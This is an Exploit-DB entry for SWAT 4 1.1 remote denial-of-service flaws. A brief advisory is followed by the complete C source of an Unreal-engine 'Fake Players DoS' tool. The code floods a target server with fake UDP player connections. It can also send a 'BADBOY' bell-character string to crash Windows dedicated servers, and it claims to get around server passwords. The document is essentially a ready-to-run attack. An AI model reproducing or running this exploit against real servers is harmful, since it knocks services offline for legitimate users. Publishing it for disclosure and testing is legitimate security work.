SWAT 4 - Multiple Denial of Service Vulnerabilities

EDB-ID:

32086




Platform:

Multiple

Date:

2008-07-20


// source: https://www.securityfocus.com/bid/30299/info

SWAT 4 is prone to multiple remote denial-of-service vulnerabilities because the application fails to properly handle certain input.

An attacker may exploit these issues to crash the affected application, denying service to legitimate users.

SWAT 4 1.1 is vulnerable; other versions may also be affected. 

/*
    Copyright 2008 Luigi Auriemma

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA

    http://www.gnu.org/licenses/gpl.txt
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <ctype.h>
#include <time.h>
#include "rwbits.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
    #define stristr strcasestr
#endif

typedef uint8_t     u8;
typedef uint16_t    u16;
typedef uint32_t    u32;



#define VER         "0.1.1"
#define PORT        7777
#define BUFFSZ      4096     // the max supported is 576
#define HELLBELL    "BADBOY " \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a" \
                    "\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a\a"

#define UT2_QUERY   "\x79\x00\x00\x00\x00"  // not used
#define GS1_QUERY   "\\info\\"              // \status\ returns 3 packets, I'm too lazy to handle all of them
#define GS2_QUERY   "\xfe\xfd\x00" "\x00\x00\x00\x00"                    "\xff\x00\x00" "\x00"
#define GS3_QUERY   "\xfe\xfd\x09" "\x00\x00\x00\x00"
#define GS3_QUERYX  "\xfe\xfd\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\xff\x00\x00" "\x00"



void fake_players_socket(int sd) {  // simple to add function for not closing sockets
    #define MAXFAKESOCKS    64
    static int  socks[MAXFAKESOCKS],
                socksp,
                init    = 1;
    int         i;

    if(init || (sd < 0)) {
        for(i = 0; i < MAXFAKESOCKS; i++) socks[i] = -1;
        socksp = 0;
        init   = 0;
        return;
    }
    if(socksp >= MAXFAKESOCKS) socksp = 0;
    if(socks[socksp] >= 0) close(socks[socksp]);
    socks[socksp] = sd;
    socksp++;
}
void activate_fix(int *fix);
int unreal_send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int *chall, u8 **errmsg);
u8 *rndhash(int size);
int unreal_info(u8 *buff, struct sockaddr_in *peer);
int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...);
void fgetz(u8 *data, int len);
int calc_authresp(int num);
int write_unrnum(int num, u8 *buff, int bits);
int read_unrnum(int *num, u8 *buff, int bits);
int write_unrser(int num, u8 *buff, int bits, int max);
u8 *unreal_parse_pck(u8 *buff, int size, int *chall);
int unreal_build_pck(u8 *buff, int pck, ...);
int read_unreal_index(u8 *index_num, int *ret);
int write_unreal_index(int number, u8 *index_num);
int read_bitmem(u8 *in, int inlen, u8 *out, int bits);
int write_bitmem(u8 *in, int inlen, u8 *out, int bits);
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);



int     aafix           = 0,    // America's Army uses 0x800 instead of 0x3ff
        u3fix           = 0,    // Unreal 3 no longer uses index numbers
        rvfix           = 0,    // RavenShiel uses 0x50f instead of 0x3ff (this is useless since it's enough compatible with AA)
        pariahfix       = 0,    // Pariah
        movfix          = 0,    // Men of Valor
        //khgfix          = 0,    // Klingon Honor Guard uses readbits 16 1 9 16 3 and 12 instead of index numbers
        // unreal1fix, similar to above... not needed to support at the moment
        verbose         = 0,
        challenge_fix   = 0,
        hex_challenge   = 0,
        force_team      = 0,
        force_fix       = 0,
        send_verbose    = 0,
        fast_connect    = 1,
        first_time      = 1;
u8      *gamestatefix[] = {
        "",     // none
            // the order of the hash of GAMESTATE checked in memory is 77778888555566661111222233334444
            //the second part of the GAMESTATE hash is the MD5 of "SCR3W3DD@P00CH" and the MD5 of the file (for example SwatGame.u)
            // Swat4 requires 32 successful GAMESTATEs, it's enough to send the same one 32 times,
            // but at the moment my tool doesn't support the sending of more packets
        "GAMESTATE FA1F998D4D4C2E5F492B79FF1D58488E5e2b7c57161e65909c8c7b01923aa4c4",   // UT2XMP demo
        "GAMESTATE 520996A03FACE2BE4FF9A24F17158B3B7c07dc2b72044ef0e6278707e9e8b0f6",   // UT2003
        // "GAMESTATE D2ECC882E8945E68413DDF3DCB7A1BBEfe95745de189869e61331593a64f33de",   // SWAT4 
        NULL
        };



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer,
                        peerl;
    int     i,
            sd,
            len,
            pck,
            ver,
            chall,
            onlyone         = 0,
            infoquery       = 1,
            sendauth        = 0,
            gamestatefixes  = 0,
            random_username = 0,
            force_closesock = 0;
    u16     port            = PORT;
    u8      buff[BUFFSZ],
            hello[BUFFSZ]   = "",
            auth[BUFFSZ]    = "",
            login[BUFFSZ]   = "",
            hellover[64]    = "",
            pass[64]        = "",
            tmpchall[12],
            *cmd_only       = NULL,
            *cmd_plus       = "",
            *login_plus     = "",
            *errmsg,
            *host,
            *p;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Unreal engine basic client and Fake Players DoS "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s [options] <host> <port>\n"
            "\n"
            "Options:\n"
            "-c \"C\"  send only the custom command C\n"
            "-C \"C\"  send the custom command C plus the others needed to join\n"
            "-l \"S\"  add a custom URL string S to the LOGIN command, for example:\n"
            "        -l \"Index.ut2?Name=player?Class=EnginePawn?Character=Jakob?team=1\"\n"
            "        -l \"?Name=player?UserName=UserName?MAC=\"\n"
            //"        -l \"Entry.aao?Name=Recruit?Class=AGP_Characters.AGP_Character?team=255?UserName=UserName?MAC=\"\n"
            "-f      use the full method (HELLO + LOGIN and so on), needed with some games\n"
            "        of the Unreal 1 engine to avoid the crash of the server\n"
            //"-u      send a LOGIN command with a random UserName field (for America's Army)\n" AUTOMATIC!!!
            //"-a      send the AUTH command\n" AUTOMATIC!!!
            "-i      do not query the server for informations and for hostport\n"
            "-b      Windows dedicated server hell bell attack through the BADBOY command\n"
            "-v      verbose mode, show all the commands received from the server\n"
            "-V      show all the commands sent by this tool\n"
            "-1      only one fake player, debug\n"
            "-x N    force the activation of a specific compatibility fix, where N is for:\n"
            "        1 = America's Army     2 = Unreal 3 engine    3 = Raven Shield\n"
            "        4 = Pariah             5 = Men of Valor\n"
            "\n"
            "works also with servers protected by password without knowing the keyword!\n"
            "should work with almost any game based on the Unreal engine (1, 2 and 3)\n"
            "\n", argv[0]);
        exit(1);
    }

    argc -= 2;
    for(i = 1; i < argc; i++) {
        if(((argv[i][0] != '-') && (argv[i][0] != '/')) || (strlen(argv[i]) != 2)) {
            printf("\nError: wrong argument (%s)\n", argv[i]);
            exit(1);
        }
        switch(argv[i][1]) {
            case 'v': {
                verbose         = 1;
                break;
            }
            case 'V': {
                send_verbose    = 1;
                break;
            }
            case 'f': {
                fast_connect    = 0;
                break;
            }
            case 'c': {
                cmd_only        = argv[++i];
                break;
            }
            case 'C': {
                cmd_plus        = argv[++i];
                break;
            }
            case 'l': {
                login_plus      = argv[++i];
                fast_connect    = 0;
                break;
            }
            case '1': {
                onlyone         = 1;
                break;
            }
            case 'i': {
                infoquery       = 0;
                break;
            }
            case 'a': {
                sendauth        = 1;
                break;
            }
            case 'b': {
                cmd_only        = HELLBELL;
                force_closesock = 1;
                break;
            }
            case 'u': {
                random_username = 1;
                fast_connect    = 0;
                break;
            }
            case 'x': {
                force_fix       = atoi(argv[++i]);
                break;
            }
            default: {
                printf("\nError: wrong argument (%s)\n", argv[i]);
                exit(1);
            }
        }
    }

    host = argv[argc];
    port = atoi(argv[argc + 1]);

    peer.sin_addr.s_addr  = resolv(host);
    peer.sin_port         = htons(port);
    peer.sin_family       = AF_INET;

    peerl.sin_addr.s_addr = INADDR_ANY;
    peerl.sin_port        = htons(time(NULL));
    peerl.sin_family      = AF_INET;

    printf("- target   %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    if(infoquery && (ntohs(peer.sin_port) != 7777)) {
        ver = unreal_info(buff, &peer);
        if(ver) sprintf(hellover, "MINVER=%d VER=%d", ver, ver);
    }

        /* full list of parameters and values parsed by various games which use the Unreal engine
        USERFLAG (number)
        HELLO
            MINVER=
            VER=
        AUTH
            HASH=
            RESPONSE=
            USERNAME=
            PASSWORD=
            GM=
        NETSPEED (number >= 1800)
        HAVE
            GUID=
            GEN=
        SKIP
            GUID=
        LOGIN
            RESPONSE=
            URL=
        JOIN
        BADBOY (followed by the string visualized in the console)
        PETE
            PKT=
            PKG=
        REPEAT
        OPENVOICE (number)
            // UT2003
        CRITOBJCNT (number, similar to PETE)
        GAMESTATE (ID)
            NAME=
            // SWAT4
        GAMESPYRESPONSE
            RS=
        GAMESPYSTATRESPONSE
            PID=
            RS=
        VERIFYCONTENT
            FILE=
            MD5=
        GAMECONFIGCOUNT (number)
        GAMECONFIG
            CONFIGFILE=
            CONFIGMD5=
            // Warpath and Pariah
        JOINSPLIT
            GAMEPAD=
            GUESTNUM=
        DISABLESPLIT
            GAMEPAD=
        EPIC (hash)
            // Raven Shield
        SERVERPING
        ARMPATCH
            // UT3
        DEBUG
        ABORT
            GUID=
        JOINSPLIT
        */
        // generic in-game commands: open namecount start map servertravel say disconnect

    printf("\n- start attack:\n");

    if(force_fix) {
        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();
        errmsg = unreal_parse_pck("\0\0", 0, NULL);
        goto handle_error_message;
    }

    for(;;) {
        pck = 0;
        printf("\n  Player: ");

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();
        do {
            peerl.sin_port++;
        } while(bind(sd, (struct sockaddr *)&peerl, sizeof(struct sockaddr_in)) < 0);

        if(!fast_connect || u3fix || movfix) {    // Unreal 3 requires the LOGIN packet, while MOV crashes!
            sprintf(hello, "HELLO %sREVISION=0 %s", u3fix ? "P=1 " : "", hellover);

            len = unreal_build_pck(buff, pck++,
                hello,
                NULL);

            len = unreal_send_recv(sd, buff, len, buff, BUFFSZ, &peer, &chall, &errmsg);
            if(len < 0) goto handle_error_message;

            //sprintf(login, "LOGIN RESPONSE=%i URL=Index.ut2?Name=player?Class=EnginePawn?Character=Jakob?team=1%s%s", chall, pass[0] ? "?password=" : "", pass);
            sprintf(tmpchall, hex_challenge ? "%08X" : "%i", chall);    // I don't know if this is right, seems that U3 doesn't check the challenge!
            sprintf(login, "LOGIN RESPONSE=%s URL=%s%s%s%s", tmpchall, login_plus, force_team ? "?Team=1" : "", pass[0] ? "?password=" : "", pass);
            if(random_username) sprintf(login + strlen(login), "?UserName=%s", rndhash(5));
        }

        if(sendauth) {
            sprintf(auth,  "AUTH HASH=%s GM=%s USERNAME=%s PASSWORD=%s", rndhash(16), rndhash(66), rndhash(4), rndhash(16));
        }

        if(cmd_only) {
            len = unreal_build_pck(buff, pck++,
                cmd_only,
                NULL);
        } else {
            len = unreal_build_pck(buff, pck++,
                auth,   // causes only problems!
                login,
                //"NETSPEED 1800",    // useless
                "PETE PKT=1 PKG=1",
                "REPEAT",
                "CRITOBJCNT 1",
                gamestatefix[gamestatefixes],
                cmd_plus,
                "JOIN",
                NULL);
        }
        if(len > BUFFSZ) {
            printf("\nError: your packet is too big\n");
            exit(1);
        }
        len = unreal_send_recv(sd, buff, len, buff, BUFFSZ, &peer, NULL, &errmsg);
        if(len < 0) goto handle_error_message;

        if(onlyone) {
            if(verbose) {
                for(;;) {   // show any other incoming message
                    len = send_recv(sd, NULL, 0, buff, BUFFSZ, &peer, 0);
                    if(len < 60) break;  // break if too small
                    errmsg = unreal_parse_pck(buff, len, NULL);
                    if(errmsg) break;
                }
            }
            printf("\n- done\n");
            exit(1);
        }

        if(force_closesock) {
            close(sd);
        } else {
            fake_players_socket(sd);
        }
        continue;

handle_error_message:
        close(sd);
        if(!errmsg) continue;
        if(strstr(errmsg, "UPGRADE")) {
            p = strstr(errmsg, "MINVER");   // UPGRADE MINVER= VER=
            if(!p) exit(1);
            strncpy(hellover, p, sizeof(hellover));
            hellover[sizeof(hellover) - 1] = 0;
        } else if(strstr(errmsg, "SERVERFULL") || stristr(errmsg, "capacity") || stristr(errmsg, "MaxedOutMessage") || stristr(errmsg, "players")) {
            printf(" server full ");
            for(i = 3; i; i--) {
                printf("%d\b", i);
                sleep(ONESEC);
            }
        } else if(strstr(errmsg, "NEEDPW") || strstr(errmsg, "WRONGPW") || stristr(errmsg, "password") || stristr(errmsg, "PassWd")) {
            printf("\n- server is protected with password, insert the keyword: ");
            fgetz(pass, sizeof(pass));
        } else if(strstr(errmsg, "BRAWL")) {
            gamestatefixes++;
            if(!gamestatefix[gamestatefixes]) {
                printf("\nError: this game needs one or more GAMESTATE commands not implemented\n");
                exit(1);
            }
            printf("\n- %s", gamestatefix[gamestatefixes]);
        } else if(stristr(errmsg, "Username")) {
            if(random_username) exit(1);
            printf("\n- activate random UserName in the LOGIN command");
            random_username = 1;
            fast_connect    = 0;
        } else if(stristr(errmsg, "Could not find team")) {
            if(force_team) exit(1);
            printf("\n- activate team fix");
            force_team      = 1;
            fast_connect    = 0;
        } else if(stristr(errmsg, "stats")) {
            if(sendauth) exit(1);
            sendauth        = 1;
        } else if(stristr(errmsg, "CHALLENGE")) {
            challenge_fix++;
            if(challenge_fix == 1) {
                printf("\n- activate the Frontline Fuel of War challenge fix");
            } else if(!hex_challenge) {
                printf("\n- activate the hexadecimal challenge fix");
                challenge_fix = 0;
                hex_challenge = 1;
            } else {
                printf("\n"
                "Error: seems that this game requires a specific challenge-response algorithm\n"
                "\n");
                exit(1);
            }
        } else if(!strcmp(errmsg, "NOFIX")) {
            printf("\n- activate full connect without compatibility fixes");
            activate_fix(NULL);
        } else if(!strcmp(errmsg, "AAFIX")) {
            printf("\n- activate the America's Army compatibility");
            activate_fix(&aafix);
        } else if(!strcmp(errmsg, "U3FIX")) {
            printf("\n- activate the Unreal 3 engine compatibility");
            activate_fix(&u3fix);
        } else if(!strcmp(errmsg, "RVFIX")) {
            printf("\n- activate the Raven Shield compatibility");
            activate_fix(&rvfix);
        } else if(!strcmp(errmsg, "PARIAHFIX")) {
            printf("\n- activate the Pariah/Warpath compatibility");
            activate_fix(&pariahfix);
        } else if(!strcmp(errmsg, "MOVFIX")) {
            printf("\n- activate the Men of Valor compatibility");
            activate_fix(&movfix);
        } else {
            printf("\nError: %s\n", errmsg);
            exit(1);
        }
    }
    return(0);
}



void activate_fix(int *fix) {
    aafix       = 0;
    u3fix       = 0;
    rvfix       = 0;
    pariahfix   = 0;
    movfix      = 0;
    if(fix) *fix = 1;
}



int unreal_send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int *chall, u8 **errmsg) {
    int     len;

    len = send_recv(sd, in, insz, out, outsz, peer, first_time);
    if(len < 0) {
        if(len == -1) std_err();
        printf(" players_per_IP limit or timed out ");
        sleep(ONESEC);
        *errmsg = NULL;
        return(-1);
    }
    if(first_time) first_time = 0;

#ifdef DUMPPCK
    static  int num = 0;
    FILE    *fd;
    char    fname[64];
    sprintf(fname, "unrealfp_pck.%03d", num++);
    fd = fopen(fname, "wb");
    if(!fd) std_err();
    fwrite(out, 1, len, fd);
    fclose(fd);
#endif

    *errmsg = unreal_parse_pck(out, len, chall);
    if(*errmsg) return(-1);
    return(len);
}



u8 *rndhash(int size) {
    static u32  rnd = 0;
    static int  sel = 0;
    static u8   out[4][256];
    static const u8 hex[16] = "0123456789abcdef";
    int         i;
    u8          *ret,
                *p;

    if(!rnd) rnd = ~time(NULL);

    ret = out[sel++ & 3];
    p = ret;
    for(i = 0; i < size; i++) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        *p++ = hex[(rnd & 0xff) >> 4];
        *p++ = hex[(rnd & 0xff) & 15];
    }
    *p = 0;
    return(ret);
}



int unreal_info(u8 *buff, struct sockaddr_in *peer) {
    u32     chall;
    int     sd,
            len,
            type,
            retver      = 0;
    u8      gs3[32],
            *gamever    = NULL,
            *hostport   = NULL;

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    printf("\n- send info queries\n");
          send_recv(sd, GS1_QUERY, sizeof(GS1_QUERY) - 1, NULL, 0,      peer, 0);
          send_recv(sd, GS2_QUERY, sizeof(GS2_QUERY) - 1, NULL, 0,      peer, 0);
          send_recv(sd, GS3_QUERY, sizeof(GS3_QUERY) - 1, NULL, 0,      peer, 0);
    len = send_recv(sd, NULL,      0,                     buff, BUFFSZ, peer, 0);
    if(len < 0) goto quit;
    if(buff[0] == '\\') {
        type = 1;
    } else {
        if(len < 8) {
            type = 2;
            len = send_recv(sd, NULL,  0,                    buff, BUFFSZ, peer, 0);
            if(len < 0) goto quit;
        } else {
            type = 3;
            memcpy(gs3, GS3_QUERYX, sizeof(GS3_QUERYX) - 1);
            chall = atoi(buff + 5);
            gs3[7]  = chall >> 24;
            gs3[8]  = chall >> 16;
            gs3[9]  = chall >>  8;
            gs3[10] = chall;
            len = send_recv(sd, gs3, sizeof(GS3_QUERYX) - 1, buff, BUFFSZ, peer, 0);
            if(len < 0) goto quit;
        }
    }

    printf("\n- handle reply:\n");
    gs_handle_info(buff, len,
        (type == 1) ? 1 : 0, (type == 1) ? '\\' : '\0', (type == 1) ? 0 : 5, 0,
        "gamever",  &gamever,
        "hostport", &hostport,
        NULL,       NULL);

    if(gamever) {
        retver = atoi(gamever);
    }
    if(hostport) {
        peer->sin_port = htons(atoi(hostport));
        printf("\n- set hostport %hu\n", ntohs(peer->sin_port));
    }

quit:
    close(sd);
    return(retver);
}



int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...) {
    va_list ap;
    int     i,
            args,
            found;
    u8      **parz,
            ***valz,
            *p,
            *limit,
            *par,
            *val;

    va_start(ap, rear);
    for(i = 0; ; i++) {
        if(!va_arg(ap, u8 *))  break;
        if(!va_arg(ap, u8 **)) break;
    }
    va_end(ap);

    args = i;
    parz = malloc(args * sizeof(u8 *));
    valz = malloc(args * sizeof(u8 **));

    va_start(ap, rear);
    for(i = 0; i < args; i++) {
        parz[i]  = va_arg(ap, u8 *);
        valz[i]  = va_arg(ap, u8 **);
        *valz[i] = NULL;
    }
    va_end(ap);

    found  = 0;
    limit  = data + datalen - rear;
    *limit = 0;
    data   += front;
    par    = NULL;
    val    = NULL;

    for(p = data; (data < limit) && p; data = p + 1, nt++) {
        p = strchr(data, chr);
        if(p) *p = 0;

        if(nt & 1) {
            if(!par) continue;
            val = data;
            printf("  %30s %s\n", par, val);

            for(i = 0; i < args; i++) {
                if(!stricmp(par, parz[i])) *valz[i] = val;
            }
        } else {
            par = data;
        }
    }

    free(parz);
    free(valz);
    return(found);
}



void fgetz(u8 *data, int len) {
    u8      *p;

    fgets(data, len, stdin);
    for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
    *p = 0;
}



int calc_authresp(int num) {
    if(challenge_fix == 1) return((num * 178) ^ (num >> 16) ^ (num << 16) ^ 0xfe11ae23);    // FFOW
    return((num * 237) ^ (num >> 16) ^ (num << 16) ^ 0x93fe92ce);
}



int write_unrnum(int num, u8 *buff, int bits) {
    int     len;
    u8      mini[5];

    len = write_unreal_index(num, mini);
    return(write_bitmem(mini, len, buff, bits));
}



int read_unrnum(int *num, u8 *buff, int bits) {
    u8      mini[5];

    *num = 0;
    read_bitmem(buff, 5, mini, bits);
    return(bits + (read_unreal_index(mini, num) << 3));
}



int write_unrser(int num, u8 *buff, int bits, int max) {    // forcompability with core.dll
    int     b;

    for(b = 1; b && (b < max); b <<= 1) {
        bits = write_bits((num & b) ? 1 : 0, 1, buff, bits);
    }
    return(bits);
}



int read_unrser(int *num, u8 *buff, int bits, int max) {    // forcompability with core.dll
    int     b;

    *num = 0;
    for(b = 1; b && (b < max); b <<= 1) {
        if(read_bits(1, buff, bits)) *num += b;
        bits++;
    }
    return(bits);
}



u8 *unreal_parse_pck(u8 *buff, int size, int *chall) {
    static int  retfix  = 0,
                done    = 0;
    static u8   str[BUFFSZ];
    int     b,
            len,
            pck;
    u8      *p;

    if(force_fix) {
        retfix = force_fix - 1; // because then it does retfix++
        force_fix = 0;
    }
    if(chall) *chall = 0;

    read_unrser(&pck, buff, 0, 0x4000);
    if(u3fix) {
        switch(pck) {
            case 0:  b = 52;    break;
            case 1:  b = 67;    break;
            default: b = 52;    break;  // doesn't work with all the packets
        }
    } else if(pariahfix) {
        switch(pck) {
            case 0:  b = 66;    break;
            case 1:  b = 81;    break;
            default: b = 52;    break;  // doesn't work with all the packets
        }
    } else {
        switch(pck) {
            case 0:  b = 67;    break;
            case 1:  b = 82;    break;
            default: b = 52;    break;  // doesn't work with all the packets
        }
    }
    if(aafix)  b++;
    if(rvfix)  b++;
    if(movfix) b++;
    size <<= 3;

    /* correct but not necessary, probably in a future implementation
    b -= 12;
    b = read_unrser(&len, buff, b, 0x1000);
    if((b + len) < size) size = b + len;
    */

    while(b < size) {
        b = read_unrnum(&len, buff, b);
        if((len < 0) || ((b + (len << 3)) > size) || (len > (sizeof(str) - 1))) break; 
        if(!done) done++;
        b = read_bitmem(buff, len, str, b);
        str[len] = 0;
        if(verbose) printf("\n  %s", str);
        if(chall) {
            p = strstr(str, "CHALLENGE=");
            if(p) {
                sscanf(p + 10, hex_challenge ? "%08X" : "%i", chall);
                *chall = calc_authresp(*chall);
            }
        }
        if(strstr(str, "FAIL") || strstr(str, "BRAWL") || strstr(str, "UPGRADE")) {
            return(str);
        }
    }
    if(!done) {
        retfix++;
        if(retfix == 1) return("AAFIX");
        if(retfix == 2) return("U3FIX");
        if(retfix == 3) return("RVFIX");
        if(retfix == 4) return("PARIAHFIX");
        if(retfix == 5) return("MOVFIX");
        if(fast_connect) {
            retfix       = 0;
            fast_connect = 0;
            return("NOFIX");
        }
        printf("\n"
            "Error: seems that this game requires a specific compatibility fix\n"
            "       try to relaunch this tool another time\n"
            "\n");
        exit(1);
    }
    return(NULL);
}



int unreal_build_pck(u8 *buff, int pck, ...) {
    va_list ap;
    int     i,
            b,
            sl,
            len,
            bsize,
            val3ff,
            val8,
            val1000;
    u8      *s;

    //devastation is not supported, it uses 0x4000 1 1 0x4000 1 1 1 1 0x3ff 0x1000 

    val8 = 0x08;
    if(pariahfix) val8 = 0x4;

    val3ff = 0x3ff;
    if(aafix) val3ff = 0x800;
    if(rvfix) val3ff = 0x50f;   // takes the same number of bits of AA... it's useless

    val1000 = 0x1000;
    if(movfix) val1000 = 0x1e00;

    b = 0;
    b = write_unrser(pck, buff, b, 0x4000);
    if(pck == 0) {
        b = write_bits(0, 1, buff, b);
        b = write_bits(1, 1, buff, b);
        b = write_bits(1, 1, buff, b);
        b = write_bits(0, 1, buff, b);
        b = write_bits(1, 1, buff, b);
        b = write_unrser(0, buff, b, val3ff);
    } else if(pck == 1) {
        b = write_bits(1, 1, buff, b);
        b = write_unrser(0, buff, b, 0x4000);
        b = write_bits(0, 1, buff, b);
        b = write_bits(0, 1, buff, b);
        b = write_bits(1, 1, buff, b);
        b = write_unrser(0, buff, b, val3ff);
    } else {   // this one is not supported
        b = write_bits(1, 1, buff, b);
        b = write_bits(0, 1, buff, b);
        b = write_bits(0, 1, buff, b);
        b = write_bits(0, 1, buff, b);
        b = write_bits(0, 1, buff, b);
        b = write_unrser(0, buff, b, val3ff);
    }
    b = write_unrser(pck + 1, buff, b, 0x400);
    b = write_unrser(1, buff, b, val8); // 0 with pck > 1
    bsize = b;

    for(i = 0; i < 2; i++) {  // used only for calculating the packet size! it allows to save an additional buffer
        va_start(ap, pck);
        while((s = va_arg(ap, u8 *))) {
            sl = strlen(s) + 1;
            if(sl == 1) continue;               // skip empty
            if(!i && send_verbose) printf("\n^ %s", s);
            b = write_unrnum(sl, buff, b);
            b = write_bitmem(s, sl, buff, b);   // in reality they are index numbers
        }
        va_end(ap);

        if(!i) b = write_unrser(b - bsize, buff, bsize, val1000);
    }

    b = write_bits(1, 1, buff, b);   // ???

    len = b >> 3;
    if(b & 7) len++;
    if(send_verbose) printf("\n");
    return(len);
}



int read_unreal_index(u8 *index_num, int *ret) {
    int     len,
            result;
    u8      b0 = index_num[0],
            b1 = index_num[1],
            b2 = index_num[2],
            b3 = index_num[3],
            b4 = index_num[4];

    if(u3fix) {
        *ret = b0 | (b1 << 8) | (b2 << 16) | (b3 << 24);
        return(4);
    }

    result = 0;
    len    = 1;
    if(b0 & 0x40) {
        len++;
        if(b1 & 0x80) {
            len++;
            if(b2 & 0x80) {
                len++;
                if(b3 & 0x80) {
                    len++;
                    result = b4;
                }
                result = (result << 7) | (b3 & 0x7f);
            }
            result = (result << 7) | (b2 & 0x7f);
        }
        result = (result << 7) | (b1 & 0x7f);
    }
    result = (result << 6) | (b0 & 0x3f);
    if(b0 & 0x80) result = -result;
    *ret = result;
    return(len);
}



int write_unreal_index(int number, u8 *index_num) {
    int     len,
            sign = 1;

    if(u3fix) {
        index_num[0] = number & 0xff;
        index_num[1] = (number >> 8) & 0xff;
        index_num[2] = (number >> 16) & 0xff;
        index_num[3] = (number >> 24) & 0xff;
        return(4);
    }

    if(number < 0) {
        number = -number;
        sign = -1;
    }

    len = 1;
    index_num[0] = (number & 0x3f);
    if(number >>= 6) {
        index_num[0] += 0x40;
        index_num[1] = (number & 0x7f);
        len++;
        if(number >>= 7) {
            index_num[1] += 0x80;
            index_num[2] = (number & 0x7f);
            len++;
            if(number >>= 7) {
                index_num[2] += 0x80;
                index_num[3] = (number & 0x7f);
                len++;
                if(number >>= 7) {
                    index_num[3] += 0x80;
                    index_num[4] = number;
                    len++;
                }
            }
        }
    }
    if(sign < 0) index_num[0] += 0x80;
    return(len);
}



int read_bitmem(u8 *in, int inlen, u8 *out, int bits) {
    for(; inlen--; out++) {
        *out = read_bits(8, in, bits);
        bits += 8;
    }
    return(bits);
}



int write_bitmem(u8 *in, int inlen, u8 *out, int bits) {
    for(; inlen--; in++) {
        bits = write_bits(*in, 8, out, bits);
    }
    return(bits);
}



int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) {
    int     retry = 2,
            len;

    if(in) {
        while(retry--) {
            fputc('.', stdout);
            if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
              < 0) goto quit;
            if(!out) return(0);
            if(!timeout(sd, 2)) break;
        }
    } else {
        if(timeout(sd, 3) < 0) retry = -1;
    }

    if(retry < 0) {
        if(!err) return(-2);
        printf("\nError: socket timeout, no reply received\n\n");
        exit(1);
    }

    fputc('.', stdout);
    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) goto quit;
    return(len);
quit:
    if(err) std_err();
    return(-1);
}



int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;

    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout)
      <= 0) return(-1);
    return(0);
}



u32 resolv(char *host) {
    struct  hostent *hp;
    u32     host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u32 *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif